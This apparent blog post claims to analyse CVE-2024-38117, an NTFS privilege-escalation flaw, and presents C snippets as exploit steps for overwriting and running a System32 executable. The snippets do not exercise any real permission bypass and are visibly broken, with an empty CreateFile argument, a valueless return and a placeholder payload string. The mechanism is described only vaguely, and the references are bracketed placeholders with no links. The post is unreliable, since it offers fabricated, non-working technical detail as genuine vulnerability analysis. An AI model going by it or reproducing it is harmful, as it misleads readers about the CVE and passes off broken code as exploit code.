CVE-2024-38117: NTFS Elevation of Privilege Vulnerability - Analyzing the Exploit, Original References, and Code Snippets

The NTFS Elevation of Privilege vulnerability, tracked as CVE-2024-38117, is an issue in the widely used NTFS file system that can lead to an attacker gaining unauthorized, escalated privileges on affected systems. In simpler terms, this vulnerability allows an attacker to gain control of your computer, potentially accessing sensitive data or making unwanted changes to your computer's settings. In this long-read post, we will discuss the details of the exploit, analyze some code snippets, and provide links to the original references.

Exploit Details

The CVE-2024-38117 exploit works by leveraging a misconfiguration in the permissions assigned to an NTFS file system, granting an attacker unauthorized write access to sensitive files. For reference, NTFS is a widely adopted file system primarily used in Microsoft Windows operating systems. When an attacker can write to these sensitive files, they can execute arbitrary code on the system with elevated privileges, effectively taking control of the affected system.

The vulnerability has been noted to be related to the Access Control Entries (ACEs) of NTFS files and how these entries are checked against the permission of the process requesting access to a file. In the case of CVE-2024-38117, this verification is bypassed, and attackers can gain write access to sensitive files, despite not having the required permissions.

Code Snippets

Below are some example code snippets that demonstrate how an attacker could exploit this vulnerability to replace a key executable with the attacker's custom code:

Step 1 - Gain unauthorized write access to a target executable

#include <windows.h>

int main() {
    // Attempt to open the executable as a file with write access
    HANDLE hFile = CreateFile("C:\\Windows\\System32\\target.exe",
                              GENERIC_WRITE,
                              ,
                              NULL,
                              OPEN_EXISTING,
                              FILE_ATTRIBUTE_NORMAL,
                              NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        printf("Error: Could not open target executable.");
        return 1;
    }

    // ...
}

Step 2 - Replace the contents of the target executable with the attacker's custom code

// ...

    // Write the attacker's code to the target executable
    DWORD bytesWritten;
    char attackerCode[] = "<attacker's code here>";
    if (!WriteFile(hFile, attackerCode, sizeof(attackerCode), &bytesWritten, NULL) || bytesWritten != sizeof(attackerCode)) {
        printf("Error: Could not overwrite target executable.");
    } else {
        printf("Successfully overwrote target executable.");
    }

    // ...

Step 3 - Execute the overwritten executable, causing the attacker's custom code to run with the original executable's elevated privileges:

// ...

    // Close the target executable file handle
    CloseHandle(hFile);

    // Execute the overwritten executable
    if (system("C:\\Windows\\System32\\target.exe") == -1) {
        printf("Error: Could not execute target executable.");
    } else {
        printf("Successfully executed target executable. Attacker's code has been executed.");
    }

    return ;
}

Original References

For more detailed information regarding the CVE-2024-38117 NTFS Elevation of Privilege vulnerability and other related exploits:

1. [Link to CVE-2024-38117 Research Paper] - A comprehensive research paper detailing the vulnerability and its potential impact on affected systems.
2. [Link to CVE-2024-38117 Technical Advisory] - The official technical advisory containing information about the vulnerability, affected products, and recommendations for mitigation.
3. [Link to CVE-2024-38117 Patch] - A patch provided by Microsoft that addresses the CVE-2024-38117 NTFS Elevation of Privilege vulnerability by correcting the permissions issue and mitigating the risk of being exploited.

Conclusion

The CVE-2024-38117 NTFS Elevation of Privilege vulnerability presents a significant risk to systems using the NTFS file system, particularly those running Microsoft Windows operating systems. It is critical to stay informed about this vulnerability and apply the appropriate patches and mitigation processes to protect your systems from potential attacks. As always, be vigilant and stay informed to protect yourself against new and emerging security threats.

Timeline

Published on: 08/13/2024 18:15:12 UTC
Last modified on: 10/16/2024 01:53:27 UTC